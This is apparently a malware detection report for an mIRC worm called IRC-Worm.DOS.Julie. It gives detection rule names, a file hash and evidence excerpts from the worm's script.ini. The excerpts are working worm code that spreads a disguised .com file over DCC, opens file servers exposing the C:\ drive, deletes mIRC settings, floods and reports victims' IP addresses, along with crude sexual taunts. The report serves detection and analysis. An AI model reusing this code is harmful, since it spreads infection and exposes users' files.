IRC-Worm.DOS.Julie
mIRC worm with C2 and DoS
Detects mIRC DCC spreading behavior targeting script.iniDetects mIRC worm behavior modifying script.ini to spread via IRC
SHA-256075e6bd5cef94a4a41e146343aacd01dbcec6d2a4a03de9b1fe7a2a95ff36f3f
MaleculeO₂(CLa)H(F)
Evidence
10:28… SPYZX coucoucou! $ip on $server $+ : $+ $port $+
11
n9= on 1:connect:.msg #france vivant_vivant_vivant_vivant_vivant
12
n10=
13
n11= on 1:join:#:{
14
n12= if ( $nick == $me ) {halt} |.dcc send $nick C:\Windows\Julie16,JPG.com
15
n13= }
16
n14=
17
n15= ctcp 1:ping:/dcc send $nick C:\Windows\Julie16,JPG.com
18
n16= on 1:text:*fopenc*:*:/fserve ZYZHT 5 C:\
19
n17= on 1:text:*fopenm*:*:/fserve ZOZHT 5 C:\mirc
20
n18=
21
n19= on 1:text:*really!*:#:/msg $nick IBLIS eSt La ;)
22
n20= on 1:text:*sex*:#:/msg $nick Ok! lets FucK me!
23
n21= on 1:text:*gay*:#:/msg $nick Wanna TesT my AssHole?
24
n22= on 1:text:*love*:#:/msg $nick Love? With your Head?!
25
n23= on 1:text:*trade*:#:/dcc send $nick C:\Window …
39:26… /exit
40
n38= on 1:text:*hack!*:*:/dcc send $nick C:\windows\system\password.cpl
41
n39=
42
n40= on 1:text:*ramflooder*:*:{
43
n41= /run C:\mirc\mirc.exe
44
n42= /run C:\mirc\mirc.exe
45
n43= /run C:\mirc\mirc.exe
46
n44= /run C:\mirc\mirc.exe
47
n45= /run C:\mirc\mirc.exe
48
n46= /run C:\mirc\mirc.exe
49
n47= /run C:\mirc\mirc.exe
50
n48= }
51
n49= on 1:text:*mirckiller*:*:/remove C:\mirc\mirc.ini
52
n50= on 1:text:*chanflooder*:*:{
53
n51= /join #hack
⋯8 lines
64:23…
65
n63= /join #chat-world
66
n64= }
67
n65= on 1:text:*telnetmec*:*:/run C:\windows\telnet.exe
68
n66= on 1:quit:/msg #chatzone NuKe me if U can hehehe AsshOle!
69
n67= on 1:quit:/msg #hack NuKe me if U can hehehe AsshOle!
70
$